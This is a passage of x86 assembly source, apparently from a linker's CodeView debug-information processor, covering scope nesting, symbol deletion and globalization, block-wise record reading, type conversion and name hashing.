;DELETE IF DELETING CURRENT SCOPE
;GLOBALIZE IF NEST LEVEL == 0
;
ASSUME ESI:PTR CV_CONST_STRUCT
MOV ECX,CV_SCOPE_LEVEL
MOV AL,CV_DELETE_FLAG
OR ECX,ECX
JNZ PP1_PASS_ND_AL
;
;STORE IN COMPACTED GLOBAL TABLE
;
LEA ECX,[ESI]._VALUE
CALL SKIP_LEAF_ECX
JMP INSTALL_GSYM ;PUT IN GLOBAL SYMBOL TABLE, ESI IS SYMBOL, ECX IS NAME PORTION
ASSUME ESI:NOTHING
PP1_CONSTANT ENDP
PP1_UDT PROC NEAR
;
;DELETE IF DELETING CURRENT SCOPE
;GLOBALIZE IF NEST LEVEL == 0
;
ASSUME ESI:PTR CV_UDT_STRUCT
MOV ECX,CV_SCOPE_LEVEL
MOV AL,CV_DELETE_FLAG
OR ECX,ECX
JNZ PP1_PASS_ND_AL
;
;STORE IN COMPACTED GLOBAL TABLE
;
LEA ECX,[ESI]._NAME
JMP INSTALL_GSYM ;PUT IN GLOBAL SYMBOL TABLE, ESI IS SYMBOL, ECX IS NAME PORTION
ASSUME ESI:NOTHING
PP1_UDT ENDP
PP1_S_END PROC NEAR
;
;END OF A CODE BLOCK
;
ASSUME ESI:PTR CV_SYMBOL_STRUCT
MOV ECX,CV_SCOPE_LEVEL
MOV AL,CV_DELETE_FLAG
SUB ECX,1
JC PP1_W_DELETE
MOV CV_SCOPE_LEVEL,ECX
OR AL,AL ;THIS LEVEL BEING DELETED?
MOV AL,CV_SCOPE_NEST_TABLE[ECX]
JZ L2$
MOV BL,I_S_DELETE ;MARK SYMBOL DELETED
MOV BPTR [ESI]._ID,BL
L2$:
;
;DEFINE DELETE FLAG BASED ON PARENT
;
MOV CV_DELETE_FLAG,AL
RET
PP1_S_END ENDP
PP1_W_DELETE PROC NEAR
;
;
;
MOV AX,CVP_SYMDEL_ERR
CALL WARN_RET
PP1_W_DELETE ENDP
PP1_DELETE PROC NEAR
MOV BL,I_S_DELETE ;MARK SYMBOL DELETED
MOV BPTR [ESI]._ID,BL
RET
PP1_DELETE ENDP
PP1_S_GDATA16 PROC NEAR
;
;DELETE IF NEEDED
;
ASSUME ESI:PTR CV_GDATA16_STRUCT
MOV CL,CV_DELETE_FLAG
MOV AL,BPTR [ESI]._SEGMENT+1
OR CL,CL
JNZ PP1_DELETE
AND AL,7FH
LEA ECX,[ESI]._NAME
;
;STORE IN COMPACTED GLOBAL TABLE
;
MOV BPTR [ESI]._SEGMENT+1,AL
JMP INSTALL_GSYM ;PUT IN GLOBAL SYMBOL TABLE, ESI IS SYMBOL, ECX IS NAME PORTION
;MARK DELETE IF INSTALL WORKS...
ASSUME ESI:NOTHING
PP1_S_GDATA16 ENDP
PP1_PROC16 PROC NEAR
;
;PROCEDURE START... FIRST DETERMINE IF THIS CODESEG IS MINE
;
ASSUME ESI:PTR CV_LPROC16_STRUCT
MOV CL,BPTR [ESI]._SEGMENT
MOV CH,BPTR [ESI]._SEGMENT+1
PP1_PROC16_1::
CALL IS_MY_CODESEG ;IS THIS IN MY MODULE HEADER? ALSO, COUNT SEG REFS
JZ NEST_SCOPE_ON
CALL NEST_SCOPE_OFF
JMP PP1_DELETE
ASSUME ESI:NOTHING
PP1_PROC16 ENDP
NEST_SCOPE_OFF:
MOV AL,-1
JMP NEST_SCOPE_1
NEST_SCOPE_ON PROC NEAR
;
;
;
MOV AL,0
NEST_SCOPE_1::
MOV ECX,CV_SCOPE_LEVEL
MOV AH,CV_DELETE_FLAG
MOV CV_DELETE_FLAG,AL
MOV CV_SCOPE_NEST_TABLE[ECX],AH
INC CL ;TO DETECT 256 OVEFLOW...
MOV CV_SCOPE_LEVEL,ECX
JZ L9$
RET
L9$:
MOV AX,CVP_SCOPE_ERR
push EAX
call _err_abort
NEST_SCOPE_ON ENDP
PP1_THUNK16 PROC NEAR
;
;THUNK... FIRST DETERMINE IF THIS CODESEG IS MINE
;
ASSUME ESI:PTR CV_THUNK16_STRUCT
MOV CL,BPTR [ESI]._SEGMENT
MOV CH,BPTR [ESI]._SEGMENT+1
JMP PP1_PROC16_1
ASSUME ESI:NOTHING
PP1_THUNK16 ENDP
PP1_BLOCK16 PROC NEAR
;
;
;
ASSUME ESI:PTR CV_BLOCK16_STRUCT
MOV CL,BPTR [ESI]._SEGMENT
MOV CH,BPTR [ESI]._SEGMENT+1
JMP PP1_PROC16_1
ASSUME ESI:NOTHING
PP1_BLOCK16 ENDP
PP1_LABEL16 PROC NEAR
;
;
;
ASSUME ESI:PTR CV_LABEL16_STRUCT
MOV AL,BPTR [ESI]._SEGMENT+1
TEST AL,80H
JNZ PP1_DELETE
RET
ASSUME ESI:NOTHING
PP1_LABEL16 ENDP
PP1_CEXMODEL16 PROC NEAR
;
;
;
AND BPTR [ESI].CV_CEXMODEL16_STRUCT._SEGMENT+1,7FH
RET
PP1_CEXMODEL16 ENDP
PP1_VFTPATH16 PROC NEAR
;
;
;
AND BPTR [ESI].CV_VFTPATH16_STRUCT._SEGMENT+1,7FH
RET
PP1_VFTPATH16 ENDP
PP1_LDATA32 PROC NEAR
;
;
;
ASSUME ESI:PTR CV_LDATA32_STRUCT
MOV CL,CV_DELETE_FLAG
MOV AL,BPTR [ESI]._SEGMENT+1
OR CL,CL
JNZ PP1_DELETE
AND AL,7FH
MOV BPTR [ESI]._SEGMENT+1,AL
RET
ASSUME ESI:NOTHING
PP1_LDATA32 ENDP
PP1_S_GDATA32 PROC NEAR
;
;DELETE IF NEEDED
;
ASSUME ESI:PTR CV_GDATA32_STRUCT
MOV CL,CV_DELETE_FLAG
MOV AL,BPTR [ESI]._SEGMENT+1
OR CL,CL
JNZ PP1_DELETE
AND AL,7FH
LEA ECX,[ESI]._NAME
;
;STORE IN COMPACTED GLOBAL TABLE
;
MOV BPTR [ESI]._SEGMENT+1,AL
JMP INSTALL_GSYM ;PUT IN GLOBAL SYMBOL TABLE, ESI IS SYMBOL, ECX IS NAME PORTION
;MARK DELETE IF INSTALL WORKS...
ASSUME ESI:NOTHING
PP1_S_GDATA32 ENDP
PP1_PROC32 PROC NEAR
;
;PROCEDURE START... FIRST DETERMINE IF THIS CODESEG IS MINE
;
ASSUME ESI:PTR CV_GPROC32_STRUCT
MOV CL,BPTR [ESI]._SEGMENT
MOV CH,BPTR [ESI]._SEGMENT+1
PP1_PROC32_1::
CALL IS_MY_CODESEG ;IS THIS IN MY MODULE HEADER? ALSO, COUNT SEG REFS
JZ NEST_SCOPE_ON
CALL NEST_SCOPE_OFF
JMP PP1_DELETE
ASSUME ESI:NOTHING
PP1_PROC32 ENDP
PP1_THUNK32 PROC NEAR
;
;THUNK... FIRST DETERMINE IF THIS CODESEG IS MINE
;
ASSUME ESI:PTR CV_THUNK32_STRUCT
MOV CL,BPTR [ESI]._SEGMENT
MOV CH,BPTR [ESI]._SEGMENT+1
JMP PP1_PROC32_1
PP1_THUNK32 ENDP
PP1_BLOCK32 PROC NEAR
;
;
;
ASSUME ESI:PTR CV_BLOCK32_STRUCT
MOV CL,BPTR [ESI]._SEGMENT
MOV CH,BPTR [ESI]._SEGMENT+1
JMP PP1_PROC32_1
PP1_BLOCK32 ENDP
ASSUME ESI:NOTHING
PP1_LABEL32 PROC NEAR
;
;
;
MOV AL,BPTR [ESI].CV_LABEL32_STRUCT._SEGMENT+1
TEST AL,80H
JNZ PP1_DELETE
RET
PP1_LABEL32 ENDP
PP1_CEXMODEL32 PROC NEAR
;
;
;
AND BPTR [ESI].CV_CEXMODEL32_STRUCT._SEGMENT+1,7FH
RET
PP1_CEXMODEL32 ENDP
PP1_VFTPATH32 PROC NEAR
;
;
;
AND BPTR [ESI].CV_VFTPATH32_STRUCT._SEGMENT+1,7FH
RET
PP1_VFTPATH32 ENDP
INIT_CV_READER PROC NEAR PRIVATE
;
;SET UP STUFF FOR SCANNING THROUGH A CODEVIEW SEGMENT
;
MOV EAX,FIX2_SM_LEN
XOR ECX,ECX
MOV CV_BYTES_LEFT,EAX
MOV EAX,OFF EXETABLE
MOV CV_THIS_BLOCK,ECX
MOV CV_NEXT_BLOCK,EAX
; CALL ADJUST_CV_PTR
; RET
INIT_CV_READER ENDP
ADJUST_CV_PTR PROC NEAR PRIVATE
;
;
;
MOV EDX,CV_NEXT_BLOCK ;EXETABLE
MOV AL,CV_SYM_RELEASE
MOV ECX,CV_THIS_BLOCK
OR AL,AL
MOV EAX,[EDX] ;HAVE NEXT BLOCK LOADED
JZ L2$
TEST ECX,ECX ;DOES THIS BLOCK EXIST?
JZ L1$
MOV EAX,ECX
CALL RELEASE_BLOCK
L1$:
XOR ECX,ECX
MOV EAX,[EDX]
MOV [EDX],ECX
L2$:
ADD EDX,4
MOV CV_THIS_BLOCK,EAX
OR EAX,EAX
JZ L9$
MOV ESI,EAX
ADD EAX,PAGE_SIZE
MOV CV_NEXT_BLOCK,EDX
MOV CV_THIS_BLOCK_LIMIT,EAX
RET
L9$:
STC
RET
ADJUST_CV_PTR ENDP
GET_CV_DWORD PROC NEAR PRIVATE
;
;
;
ADD ESI,4
MOV ECX,CV_BYTES_LEFT
MOV EAX,CV_THIS_BLOCK_LIMIT
SUB ECX,4
CMP EAX,ESI
JB L5$
MOV CV_BYTES_LEFT,ECX
MOV EAX,[ESI-4]
RET
L5$:
SUB ESI,4
CALL GET_CV_WORD
JC L9$
PUSH EAX
CALL GET_CV_WORD
POP EDX
JC L9$
SHL EAX,16
AND EDX,0FFFFH
OR EAX,EDX
RET
L9$:
MOV AL,-1
RET
GET_CV_DWORD ENDP
GET_CV_WORD PROC NEAR PRIVATE
;
;
;
ADD ESI,2
MOV EAX,CV_THIS_BLOCK_LIMIT
CMP EAX,ESI
JB L5$
XOR EAX,EAX
MOV ECX,CV_BYTES_LEFT
MOV AL,[ESI-2]
SUB ECX,2
MOV AH,[ESI-1]
MOV CV_BYTES_LEFT,ECX
L9$:
RET
L5$:
SUB ESI,2
CALL GET_CV_BYTE
JC L9$
PUSH EAX
CALL GET_CV_BYTE
MOV AH,AL
JC L99$
AND EAX,0FFFFH
L99$:
POP EDX
MOV AL,DL
RET
GET_CV_WORD ENDP
GET_CV_BYTE PROC NEAR PRIVATE
;
;
;
L1$:
INC ESI
MOV ECX,CV_BYTES_LEFT
MOV EAX,CV_THIS_BLOCK_LIMIT
DEC ECX
CMP EAX,ESI
JB L5$
MOV CV_BYTES_LEFT,ECX
MOV AL,[ESI-1]
RET
L5$:
DEC ESI
CALL ADJUST_CV_PTR
JNC L1$
RET
GET_CV_BYTE ENDP
MOVE_EAX_CV_BYTES PROC NEAR PRIVATE
;
;NEED TO MOVE SMALLER OF EAX AND PAGE_SIZE-SI
;
MOV ECX,CV_THIS_BLOCK_LIMIT
MOV EDX,CV_BYTES_LEFT
SUB ECX,ESI
SUB EDX,EAX
MOV CV_BYTES_LEFT,EDX
JC L9$
L1$:
SUB EAX,ECX
JA L5$
ADD ECX,EAX
XOR EAX,EAX
L5$:
OPTI_MOVSB
OR EAX,EAX
JNZ L3$
L9$:
RET
L3$:
;
;GET NEXT BLOCK
;
PUSH EAX
CALL ADJUST_CV_PTR
POP EAX
MOV ECX,PAGE_SIZE
JNC L1$
RET
MOVE_EAX_CV_BYTES ENDP
GET_CV_SYMBOL PROC NEAR
;
;RETURN ESI PTR TO SYMBOL, EBX IS TYPE
;
XOR EBX,EBX
CALL GET_CV_WORD ;LENGTH OF SYMBOL RECORD
MOV ECX,CV_THIS_BLOCK
JC L99$ ;WORD WASN'T THERE
CMP EAX,2
JB L99$ ;MUST HAVE ID
ADD ECX,2
CMP EAX,MAX_RECORD_LEN
MOV EDX,ESI
JA L99$ ;TOO BIG
CMP EDX,ECX ;DOES THIS SYMBOL CROSS BLOCK BOUNDS?
JB L51$ ;YES, IF ESI IS SMALLER THAN THIS_BLOCK + 2
LEA EDX,[ESI+EAX]
MOV ECX,CV_THIS_BLOCK_LIMIT
CMP EDX,ECX ;YES, IF ESI + LENGTH IS > THIS_BLOCK_LIMIT
JA L51$
MOV ECX,CV_BYTES_LEFT
SUB ESI,2
ASSUME ESI:PTR CV_SYMBOL_STRUCT
SUB ECX,EAX
JC L99$
MOV BH,BPTR [ESI]._ID+1
MOV CV_BYTES_LEFT,ECX
L2$:
CMP BH,1
JB L27$
MOV BL,BPTR [ESI]._ID
JA L25$
;
;BX IS 100 - 1FF
;
SUB EBX,100H-10H
MOV BPTR [ESI]._ID,BL
CMP BL,1CH
MOV BPTR [ESI]._ID+1,BH
JA L28$
L23$:
RET
L25$:
SUB EBX,200H-1DH
MOV BPTR [ESI]._ID,BL
CMP EBX,2BH
MOV BPTR [ESI]._ID+1,BH
JAE L28$
RET
L27$:
;
;BX < 100H
;
MOV BL,BPTR [ESI]._ID
CMP BL,0EH
JA L28$
RET
L28$:
XOR EBX,EBX
MOV [ESI]._ID,BX
RET
L99$:
MOV AX,CVP_CORRUPT_ERR
CALL ERR_RET
STC
RET
L51$:
;
;SYMBOL CROSSES BLOCK BOUNDS
;
PUSH EDI
MOV EDI,OFF TEMP_RECORD+4
PUSH EAX
CALL GET_CV_BYTE
MOV DL,AL
MOV EAX,CV_THIS_BLOCK_LIMIT
MOV CV_ID_LB,ESI ;ESI POINTS 1 PAST ID LOW BYTE
MOV CV_ID_LIMIT,EAX
PUSH EDX
CALL GET_CV_BYTE
POP EDX
MOV DH,AL
POP EAX
SHL EDX,16
OR EDX,EAX
SUB EAX,2
MOV [EDI-4],EDX
JBE L6$
CALL MOVE_EAX_CV_BYTES
L6$:
MOV CV_BYTES_PTR,ESI
MOV ESI,OFF TEMP_RECORD
MOV BH,BPTR TEMP_RECORD.CV_SYMBOL_STRUCT._ID+1
POP EDI
JMP L2$
ASSUME ESI:NOTHING
GET_CV_SYMBOL ENDP
PUT_CV_SYMBOL PROC NEAR
;
;UPDATE PTRS
;
ASSUME ESI:PTR CV_SYMBOL_STRUCT
XOR ECX,ECX
MOV EAX,CV_BYTES_PTR
MOV CL,BPTR [ESI]._LENGTH
TEST EAX,EAX
MOV CH,BPTR [ESI]._LENGTH+1
JNZ L1$
LEA ESI,[ESI+ECX+2]
RET
L1$:
;
;TRICKY TO HANDLE MODIFICATION...
;
MOV EDI,CV_ID_LB ;ONE PAST ID LOW BYTE
MOV EAX,ECX
DEC EDI
MOV ECX,CV_ID_LIMIT
LEA ESI,[ESI]._ID
SUB ECX,EDI ;EAX IS BYTES TO MOVE, ECX IS MAX LEFT THIS BLOCK
CMP ECX,EAX
JAE L5$
SUB EAX,ECX
OPTI_MOVSB
MOV EDI,CV_BYTES_PTR
SUB EDI,EAX
L5$:
MOV ECX,EAX
OPTI_MOVSB
MOV ESI,CV_BYTES_PTR
MOV CV_BYTES_PTR,ECX
RET
ASSUME ESI:NOTHING
PUT_CV_SYMBOL ENDP
SKIP_LEAF_ECX PROC NEAR
;
;
;
MOV AX,[ECX]
ADD ECX,2
SKIP_LEAF_AX:
OR AH,AH
JS L1$
RET
L1$:
AND EAX,07FFFH
CMP EAX,10H
JZ L8$
MOV AL,LEAF_SIZE[EAX]
JA L9$
ADD ECX,EAX
RET
L8$:
MOV AX,[ECX]
ADD ECX,2
ADD ECX,EAX
RET
L9$:
MOV AX,CVP_BAD_LEAF_ERR
push EAX
call _err_abort
SKIP_LEAF_ECX ENDP
SKIP_LEAF_SICXAX PROC NEAR
;
;CARRY CLEAR IF NO ERROR
;
AND EAX,7FFFH
CMP EAX,10H
JZ L8$
MOV AL,LEAF_SIZE[EAX]
JA L9$
ADD ECX,EAX
RET
L8$:
MOV AX,[ESI+ECX]
ADD ECX,2
ADD ECX,EAX
RET
L9$:
MOV AX,CVP_BAD_LEAF_ERR
push EAX
call _err_abort
SKIP_LEAF_SICXAX ENDP
IS_MY_CODESEG PROC NEAR
;
;CX IS SEGMENT
;
OR CH,CH
JS L9$
AND ECX,0FFFFH
JZ L8$
;
;WE ARE KEEPING, HAVE WE REFERENCED THIS SEGMENT BEFORE?
;
MOV EDX,CV_SEGMENT_COUNT
MOV EAX,ECX
CMP EDX,ECX
JB L8$
SHR EAX,3 ;THAT BYTE
MOV CH,1
MOV EDX,CV_SSEARCH_TBL
AND CL,7
SHL CH,CL
MOV CL,[EDX+EAX]
PUSH EBX
TEST CL,CH
JNZ L5$
MOV EBX,CV_SSEARCH_CNT
OR CL,CH
INC EBX
MOV [EDX+EAX],CL
MOV CV_SSEARCH_CNT,EBX
L5$:
POP EBX
CMP AL,AL
RET
L8$:
OR AL,-1
L9$:
RET
IS_MY_CODESEG ENDP
INSTALL_GSYM PROC NEAR
push ESI
push ECX
call _install_gsym
add ESP,8
ret
;
;INSTALL GDATA16, GDATA32, CONSTANT, AND UDT IN GLOBALSYM
;
MOV EAX,ECX
PUSH ECX
push EAX
call _get_name_hash32
add ESP,4
POP ECX
push ESI
push ECX
push EAX
call _install_globalsym
add ESP,12
ret
;JMP INSTALL_GLOBALSYM ;STICK IN GLOBALSYM TABLE
INSTALL_GSYM ENDP
INSTALL_GSYM_REF PROC NEAR
push ESI
push EDX
push ECX
push EAX
lea EAX,CV_SCOPE_NEST_TABLE
push EAX
call _install_gsym_ref
add ESP,5*4
ret
;
;INSTALL A REFERENCE IN GLOBALSYM
;
;ESI IS NAME
;EDX IS INTERNAL REFERENCE TYPE
;ECX IS SEGMENT
;EAX IS OFFSET
;
SHL EDX,16
MOV CV_IREF._OFFSET,EAX
OR EDX,SIZE CV_IREF_STRUCT-2
mov EAX,dword ptr CV_ASYM_STRUCTURE
MOV DPTR CV_IREF._LENGTH,EDX
MOV CV_IREF._ALIGN_OFF,EAX
SHL ECX,16
MOV EAX,CURNMOD_NUMBER
OR ECX,EAX
MOV EAX,ESI
MOV DPTR CV_IREF._MODULE,ECX
push EAX
call _get_name_hash32 ;HASH IS IN EAX
add ESP,4
PUSH ESI
XOR ECX,ECX ;NO TEXT
LEA ESI,CV_IREF
push ESI
push ECX
push EAX
call _install_globalsym ;STICK IN GLOBALSYM TABLE
add ESP,12
POP ESI
RET
INSTALL_GSYM_REF ENDP
GET_NAME_HASH32 PROC NEAR
push EAX
call _get_name_hash32
add ESP,4
ret
GET_OMF_NAME_LENGTH_EAX
MOV SYMBOL_LENGTH,EAX
lea EDX,[EAX][ECX]
push EDX
push ECX
push EAX
call _opti_hash32
add ESP,8
pop ECX
ret
; CALL OPTI_HASH32
; RET
GET_NAME_HASH32 ENDP
OPTI_HASH32 PROC NEAR
;
;ECX IS INPUT POINTER, EAX IS BYTE COUNT
;
TEST EAX,EAX
JZ L95$
PUSH ESI
MOV ESI,ECX
PUSH EAX
XOR EDX,EDX
SHR EAX,2
JZ L4$ ;3 ;6
L2$:
MOV ECX,[ESI]
ROL EDX,4
AND ECX,0DFDFDFDFH
ADD ESI,4
XOR EDX,ECX
DEC EAX
JNZ L2$ ;4 ;7
L4$:
ROL EDX,4
POP EAX
AND EAX,3
JZ L9$ ;2
XOR ECX,ECX
DEC EAX
MOV CH,[ESI]
JZ L7$
SHL ECX,16
MOV CL,[ESI+1]
INC ESI
DEC EAX
JZ L8$
MOV CH,[ESI+1]
INC ESI
L8$:
ROR ECX,16
L7$:
AND ECX,0DFDFDFDFH
INC ESI
XOR EDX,ECX
L9$:
MOV EAX,EDX ;4 PER 4 BYTES + 6 OVERHEAD + 4 FOR FIRST ODD BYTE + 4 FOR NEXT + 1 FOR NEXT
MOV ECX,ESI
POP ESI
L95$:
RET
OPTI_HASH32 ENDP
GET_NAME_HASH32_CASE PROC NEAR
;
;
;
GET_OMF_NAME_LENGTH_EAX
MOV SYMBOL_LENGTH,EAX
; CALL OPTI_HASH32_CASE
; RET
GET_NAME_HASH32_CASE ENDP
OPTI_HASH32_CASE PROC NEAR
;
;
;
TEST EAX,EAX
JZ L95$
PUSH ESI
MOV ESI,ECX
PUSH EAX
XOR EDX,EDX
SHR EAX,2
JZ L4$ ;3 ;6
L2$:
ROL EDX,4
MOV ECX,[ESI]
ADD ESI,4
XOR EDX,ECX
DEC EAX
JNZ L2$ ;3 ;6
L4$:
ROL EDX,4
POP EAX
AND EAX,3
JZ L9$ ;2
XOR ECX,ECX
DEC EAX
MOV CH,[ESI]
JZ L7$
SHL ECX,16
MOV CL,[ESI+1]
INC ESI
DEC EAX
JZ L8$
MOV CH,[ESI+1]
INC ESI
L8$:
ROR ECX,16
L7$:
INC ESI
XOR EDX,ECX
L9$:
MOV EAX,EDX ;3 PER 4 BYTES + 6 OVERHEAD + 3 FOR FIRST ODD BYTE + 4 FOR NEXT + 1 FOR NEXT
MOV ECX,ESI
POP ESI
L95$:
RET
OPTI_HASH32_CASE ENDP
DO_SSEARCH_SYMS PROC NEAR
;
;OUTPUT S_SSEARCH SYMBOLS, SET UP NECESSARY ARRAYS
;
MOV EDX,CV_SSEARCH_CNT ;# OF START_SEARCH SYMBOLS NEEDED
TEST EDX,EDX
JZ L9$
PUSH EDI
MOV EDI,EDX
L1$:
MOV ECX,CV_SSEARCH_TXT_LEN
LEA EDX,CV_ASYM_STRUCTURE
MOV EAX,OFF CV_SSEARCH_TXT
CALL STORE_EAXECX_EDX_SEQ
DEC EDI
JNZ L1$
MOV ECX,CV_SSEARCH_CNT
LEA EDI,CV_SSEARCH_PTRS
CMP ECX,8
JA L5$ ;TOO MANY, DO THE HARD WAY
L4$:
ADD ECX,ECX
XOR EAX,EAX
REP STOSD
MOV CV_NEXT_SSEARCH,4 ;SKIP LEADING 00000001
POP EDI
L9$:
RET
L5$:
CMP ECX,PAGE_SIZE/8
JAE L99$
CALL GET_NEW_LOG_BLK
MOV EDI,EAX
MOV CV_SSEARCH_PTRS,EAX
JMP L4$
L99$:
MOV AX,CVP_SSEARCH_ERR
push EAX
call _err_abort
DO_SSEARCH_SYMS ENDP
GET_CV_SYMBOL2 PROC NEAR
;
;RETURN ESI PTR TO SYMBOL
;
MOV ESI,CV_BYTES_PTR
CALL GET_CV_DWORD ;LENGTH OF SYMBOL RECORD & ID
MOV ECX,EAX
MOV DPTR TEMP_RECORD,EAX
SHR ECX,16
AND EAX,0FFFFH
SUB EAX,2 ;ID ALREADY STORED
MOV EDI,OFF TEMP_RECORD+4
CMP CL,I_S_DELETE
JZ L9$
CALL MOVE_EAX_CV_BYTES
MOV EBX,DPTR TEMP_RECORD
MOV CL,2
SUB ECX,EBX
MOV CV_BYTES_PTR,ESI
SHR EBX,16
MOV ESI,OFF TEMP_RECORD
AND ECX,3 ;DOING DWORD ALIGN
JZ L5$
ADD WPTR [ESI],CX
XOR EAX,EAX
L3$:
MOV [EDI],AL
INC EDI
DEC ECX
JNZ L3$
L5$:
RET
L9$:
MOV EBX,ECX
CALL SKIP_EAX_CV_BYTES
MOV CV_BYTES_PTR,ESI
MOV ESI,OFF TEMP_RECORD
RET
GET_CV_SYMBOL2 ENDP
SKIP_EAX_CV_BYTES PROC NEAR PRIVATE
;
;NEED TO SKIP SMALLER OF EAX AND PAGE_SIZE-SI
;
MOV ECX,CV_THIS_BLOCK_LIMIT
MOV EDX,CV_BYTES_LEFT
SUB ECX,ESI
SUB EDX,EAX
MOV CV_BYTES_LEFT,EDX
JC L9$
L1$:
SUB EAX,ECX
JA L5$
ADD ECX,EAX
XOR EAX,EAX
L5$:
ADD EDI,ECX
ADD ESI,ECX
XOR ECX,ECX
OR EAX,EAX
JNZ L3$
L9$:
RET
L3$:
;
;GET NEXT BLOCK
;
PUSH EAX
CALL ADJUST_CV_PTR
POP EAX
MOV ECX,PAGE_SIZE
JNC L1$
RET
SKIP_EAX_CV_BYTES ENDP
PUT_CV_SYMBOL2 PROC NEAR
;
;
;
ASSUME ESI:PTR CV_SYMBOL_STRUCT
MOV EAX,DPTR [ESI]._LENGTH
MOV ECX,EAX
SHR EAX,16
AND ECX,0FFFFH
CMP AL,I_S_DELETE
JZ L9$
MOV EAX,I2S_TBL[EAX*4]
ADD ECX,2
MOV [ESI]._ID,AX
LEA EDX,CV_ASYM_STRUCTURE
MOV EAX,ESI
JMP STORE_EAXECX_EDX_SEQ
L9$:
RET
PUT_CV_SYMBOL2 ENDP
ASSUME ESI:NOTHING
PP2_RETT PROC NEAR
;
;NOTHING
;
RET
PP2_RETT ENDP
PP2_ERROR PROC NEAR
;
;CANNOT HAPPEN
;
MOV AX,CVP_CORRUPT_ERR
push EAX
call _err_abort
PP2_ERROR ENDP
PP2_TYPE_4 PROC NEAR
;
;CONVERT TYPE AT OFFSET 4
;
MOV EAX,4[ESI]
CMP AH,10H
JB L9$
AND EAX,0FFFFH
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 4[ESI],AX
L9$:
RET
PP2_TYPE_4 ENDP
PP2_TYPE_6 PROC NEAR
;
;CONVERT TYPE AT OFFSET 6
;
MOV EAX,4[ESI]
CMP EAX,10000000H
JB L9$
SHR EAX,16
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 6[ESI],AX
L9$:
RET
PP2_TYPE_6 ENDP
PP2_TYPE_8 PROC NEAR
;
;CONVERT TYPE AT OFFSET 8
;
MOV EAX,8[ESI]
CMP AH,10H
JB L9$
AND EAX,0FFFFH
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 8[ESI],AX
L9$:
RET
PP2_TYPE_8 ENDP
PP2_VFTPATH16 PROC NEAR
;
;
;
CALL PP2_TYPE_8
; JMP PP2_TYPE_10
PP2_VFTPATH16 ENDP
PP2_TYPE_10 PROC NEAR
;
;CONVERT TYPE AT OFFSET 10
;
MOV EAX,8[ESI]
CMP EAX,10000000H
JB L9$
SHR EAX,16
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 10[ESI],AX
L9$:
RET
PP2_TYPE_10 ENDP
PP2_VFTPATH32 PROC NEAR
;
;
;
CALL PP2_TYPE_10
; CALL PP2_TYPE_12
; RET
PP2_VFTPATH32 ENDP
PP2_TYPE_12 PROC NEAR
;
;CONVERT TYPE AT OFFSET 12
;
MOV EAX,12[ESI]
CMP AH,10H
JB L9$
AND EAX,0FFFFH
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 12[ESI],AX
L9$:
RET
PP2_TYPE_12 ENDP
PP2_TYPE_26 PROC NEAR
;
;CONVERT TYPE AT OFFSET 26
;
MOV EAX,24[ESI]
CMP EAX,10000000H
JB L9$
SHR EAX,16
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 26[ESI],AX
L9$:
RET
PP2_TYPE_26 ENDP
PP2_TYPE_34 PROC NEAR
;
;CONVERT TYPE AT OFFSET 34
;
MOV EAX,32[ESI]
CMP EAX,10000000H
JB L9$
SHR EAX,16
CALL CONVERT_CV_LTYPE_GTYPE_A
MOV 34[ESI],AX
L9$:
RET
PP2_TYPE_34 ENDP
PP2_DATA16 PROC NEAR
;
;CONVERT TYPE
;INSTALL A DATAREF IN STATICSYM
;
ASSUME ESI:PTR CV_LDATA16_STRUCT
CALL PP2_TYPE_8
MOV EDX,DPTR [ESI]._LENGTH
MOV EAX,DPTR [ESI]._OFFSET
SHR EDX,16 ;_ID
MOV ECX,EAX
PUSH ESI
LEA ESI,[ESI]._NAME
SHR ECX,16 ;_SEGMENT
AND EAX,0FFFFH ;_OFFSET
CMP EDX,I_S_LDATA16
JZ L5$
MOV DL,I_S_DATAREF
CALL INSTALL_GSYM_REF
POP ESI
RET
L5$:
MOV EDX,S_DATAREF
CALL INSTALL_SSYM
POP ESI
JC PP2_DELETE
RET
PP2_DATA16 ENDP
PP2_DATA32 PROC NEAR
;
;CONVERT TYPE
;INSTALL A DATAREF IN STATICSYM
;
ASSUME ESI:PTR CV_LDATA32_STRUCT
PUSH ESI
CALL PP2_TYPE_10
MOV EDX,DPTR [ESI]._LENGTH
MOV ECX,DPTR [ESI]._SEGMENT
SHR EDX,16 ;_ID
AND ECX,0FFFFH ;_SEGMENT
MOV EAX,[ESI]._OFFSET
LEA ESI,[ESI]._NAME
CMP DL,I_S_LDATA32
JZ L5$
MOV DL,I_S_DATAREF
CALL INSTALL_GSYM_REF
POP ESI
RET
L5$:
MOV EDX,S_DATAREF
CALL INSTALL_SSYM
POP ESI
JC PP2_DELETE
RET
PP2_DATA32 ENDP
PP2_PROC16 PROC NEAR
;
;CONVERT TYPE
;HANDLE NESTING
;
ASSUME ESI:PTR CV_LPROC16_STRUCT
CALL PP2_TYPE_26
MOV EAX,DPTR [ESI]._SEGMENT
CALL NEST_PROC
MOV EAX,DPTR [ESI]._DBG_END
MOV ECX,DPTR [ESI]._SEGMENT
SHR EAX,16 ;_OFFSET
AND ECX,0FFFFH ;_SEGMENT
MOV EDX,DPTR [ESI]._LENGTH
PUSH ESI
SHR EDX,16 ;_ID
LEA ESI,[ESI]._NAME
CMP DL,I_S_LPROC16
JZ L5$
MOV DL,I_S_PROCREF
CALL INSTALL_GSYM_REF
POP ESI
RET
L5$:
MOV EDX,S_PROCREF
CALL INSTALL_SSYM
POP ESI
JC PP2_DELETE
RET
PP2_PROC16 ENDP
PP2_DELETE PROC NEAR
;
;I DON'T REMEMBER WHY THIS IS DIFFERENT FROM PP1_DELETE...
;
MOV BPTR [ESI]._ID,I_S_DELETE
RET
PP2_DELETE ENDP
PP2_PROC32 PROC NEAR
;
;CONVERT TYPE
;HANDLE NESTING
;
ASSUME ESI:PTR CV_LPROC32_STRUCT
PUSH ESI
CALL PP2_TYPE_34
MOV EAX,DPTR [ESI]._SEGMENT
CALL NEST_PROC
MOV EDX,DPTR [ESI]._LENGTH
MOV ECX,DPTR [ESI]._SEGMENT
SHR EDX,16 ;_ID
AND ECX,0FFFFH ;_SEGMENT
MOV EAX,[ESI]._OFFSET
LEA ESI,[ESI]._NAME
CMP DL,I_S_LPROC32
JZ L5$
MOV DL,I_S_PROCREF
CALL INSTALL_GSYM_REF
POP ESI
RET
L5$:
MOV EDX,S_PROCREF
